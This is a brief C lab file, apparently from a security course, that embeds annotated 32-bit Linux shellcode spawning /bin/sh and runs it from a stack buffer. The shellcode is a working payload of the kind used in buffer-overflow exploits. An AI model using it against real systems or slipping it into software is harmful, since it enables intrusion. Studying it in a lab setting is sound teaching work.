/* call_shellcode.c */
/* A program that launches a shell using shellcode */ 
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
    "\x31\xc0" /* Line 1: xorl %eax,%eax */
    "\x50" /* Line 2: pushl %eax */
    "\x68""//sh" /* Line 3: pushl $0x68732f2f */
    "\x68""/bin" /* Line 4: pushl $0x6e69622f */
    "\x89\xe3" /* Line 5: movl %esp,%ebx */
    "\x50" /* Line 6: pushl %eax */
    "\x53" /* Line 7: pushl %ebx */
    "\x89\xe1" /* Line 8: movl %esp,%ecx */
    "\x99" /* Line 9: cdq */
    "\xb0\x0b" /* Line 10: movb $0x0b,%al */
    "\xcd\x80" /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
{
  char buf[sizeof(code)];
  strcpy(buf, code);
  ((void(*)( ))buf)( );
}